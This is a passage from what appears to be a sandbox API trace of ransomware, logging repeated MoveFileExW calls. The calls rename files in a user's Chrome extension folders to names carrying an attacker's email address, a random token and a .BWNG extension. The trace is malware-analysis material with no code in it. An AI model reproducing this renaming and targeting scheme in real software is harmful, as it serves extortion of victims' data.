halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\[billwong73@yahoo.com].lpgivrra-fklizknz.bwng"), dwFlags=0x1) returned 1 [0136.684] GetTickCount () returned 0x1169982 [0136.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27863657221) returned 1 [0136.685] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].ZDRaxRUH-gEzekOTc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].zdraxruh-gezekotc.bwng"), dwFlags=0x1) returned 1 [0136.687] GetTickCount () returned 0x1169982 [0136.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27863949128) returned 1 [0136.690] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\[billwong73@yahoo.com].LKcroO07-FlkcJH3s.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\[billwong73@yahoo.com].lkcroo07-flkcjh3s.bwng"), dwFlags=0x1) returned 1 [0136.691] GetTickCount () returned 0x1169992 [0136.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27864373107) returned 1 [0136.692] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\[billwong73@yahoo.com].KNx4doXF-oaWvAh0z.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\[billwong73@yahoo.com].knx4doxf-oawvah0z.bwng"), dwFlags=0x1) returned 1 [0136.693] GetTickCount () returned 0x1169992 [0136.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27864558630) returned 1 [0136.694] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\[billwong73@yahoo.com].trAnu4aX-zmqSypXE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\[billwong73@yahoo.com].tranu4ax-zmqsypxe.bwng"), dwFlags=0x1) returned 1 [0136.695] GetTickCount () returned 0x1169992 [0136.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27864774201) returned 1 [0136.696] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\[billwong73@yahoo.com].OuCALltW-s31py2YS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\[billwong73@yahoo.com].oucalltw-s31py2ys.bwng"), dwFlags=0x1) returned 1 [0136.697] GetTickCount () returned 0x1169992 [0136.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27864940084) returned 1 [0136.697] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].tmnuecIk-lRItZmBK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].tmnuecik-lritzmbk.bwng"), dwFlags=0x1) returned 1 [0136.699] GetTickCount () returned 0x1169992 [0136.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27865130711) returned 1 [0136.699] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\[billwong73@yahoo.com].b8TApS0f-tpCJ897k.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\[billwong73@yahoo.com].b8taps0f-tpcj897k.bwng"), dwFlags=0x1) returned 1 [0136.701] GetTickCount () returned 0x1169992 [0136.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27865318512) returned 1 [0136.701] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\[billwong73@yahoo.com].vMqPxNAf-vNV7qeMD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\[billwong73@yahoo.com].vmqpxnaf-vnv7qemd.bwng"), dwFlags=0x1) returned 1 [0136.703] GetTickCount () returned 0x1169992 [0136.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27865505457) returned 1 [0136.703] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\[billwong73@yahoo.com].byn5Ttmm-Ji9UOHFP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\[billwong73@yahoo.com].byn5ttmm-ji9uohfp.bwng"), dwFlags=0x1) returned 1 [0136.705] GetTickCount () returned 0x11699a1 [0136.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27865720479) returned 1 [0136.705] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\[billwong73@yahoo.com].aR0Q7Qu0-ioxrj29S.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\[billwong73@yahoo.com].ar0q7qu0-ioxrj29s.bwng"), dwFlags=0x1) returned 1 [0136.707] GetTickCount () returned 0x11699a1 [0136.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27865889756) returned 1 [0136.707] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\[billwong73@yahoo.com].Nvihg8Uj-PA7HSPmP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\[billwong73@yahoo.com].nvihg8uj-pa7hspmp.bwng"), dwFlags=0x1) returned 1 [0136.709] GetTickCount () returned 0x11699a1 [0136.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27866087131) returned 1 [0136.709] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\[billwong73@yahoo.com].5Ncaijyy-QFIBqyjp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\[billwong73@yahoo.com].5ncaijyy-qfibqyjp.bwng"), dwFlags=0x1) returned 1 [0136.711] GetTickCount () returned 0x11699a1 [0136.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27866283252) returned 1 [0136.711] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\[billwong73@yahoo.com].BAcZCYz5-j79IKlBl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\[billwong73@yahoo.com].baczcyz5-j79iklbl.bwng"), dwFlags=0x1) returned 1 [0136.713] GetTickCount () returned 0x11699a1 [0136.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27866481561) returned 1 [0136.713] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].Dpkp6JmZ-c8Ltyauj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].dpkp6jmz-c8ltyauj.bwng"), dwFlags=0x1) returned 1 [0136.715] GetTickCount () returned 0x11699a1 [0136.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27866688671) returned 1 [0136.715] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\[billwong73@yahoo.com].hBfW1SUD-BOkMtHB9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\[billwong73@yahoo.com].hbfw1sud-bokmthb9.bwng"), dwFlags=0x1) returned 1 [0136.717] GetTickCount () returned 0x11699a1 [0136.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27866887103) returned 1 [0136.717] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\[billwong73@yahoo.com].zDabguOj-98GYAXu5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\[billwong73@yahoo.com].zdabguoj-98gyaxu5.bwng"), dwFlags=0x1) returned 1 [0136.719] GetTickCount () returned 0x11699a1 [0136.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27867079477) returned 1 [0136.848] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\[billwong73@yahoo.com].ZOdavoWq-6LP979SL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\[billwong73@yahoo.com].zodavowq-6lp979sl.bwng"), dwFlags=0x1) returned 1 [0136.851] GetTickCount () returned 0x1169a2e [0136.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27880333602) returned 1 [0136.852] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\[billwong73@yahoo.com].kjg30mWW-MJyTeapQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\[billwong73@yahoo.com].kjg30mww-mjyteapq.bwng"), dwFlags=0x1) returned 1 [0136.853] GetTickCount () returned 0x1169a2e [0136.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27880551552) returned 1 [0136.854] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\[billwong73@yahoo.com].to8SsCOw-FfkXoxZG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\[billwong73@yahoo.com].to8sscow-ffkxoxzg.bwng"), dwFlags=0x1) returned 1 [0136.868] GetTickCount () returned 0x1169a3d [0136.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27882027192) returned 1 [0136.869] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\[billwong73@yahoo.com].AlFs3bA8-v9t6mADf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\[billwong73@yahoo.com].alfs3ba8-v9t6madf.bwng"), dwFlags=0x1) returned 1 [0136.870] GetTickCount () returned 0x1169a3d [0136.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27882276006) returned 1 [0136.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\[billwong73@yahoo.com].c4QGPsEI-wL6zS1GF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\[billwong73@yahoo.com].c4qgpsei-wl6zs1gf.bwng"), dwFlags=0x1) returned 1 [0136.872] GetTickCount () returned 0x1169a3d [0136.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27882475528) returned 1 [0136.873] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\[billwong73@yahoo.com].rvTSMTIY-DIq64i7Y.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\[billwong73@yahoo.com].rvtsmtiy-diq64i7y.bwng"), dwFlags=0x1) returned 1 [0136.874] GetTickCount () returned 0x1169a3d [0136.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27882653553) returned 1 [0136.875] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].N1sv6N91-9JHfMlZG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].n1sv6n91-9jhfmlzg.bwng"), dwFlags=0x1) returned 1 [0136.876] GetTickCount () returned 0x1169a4d [0136.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27882869273) returned 1 [0136.877] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 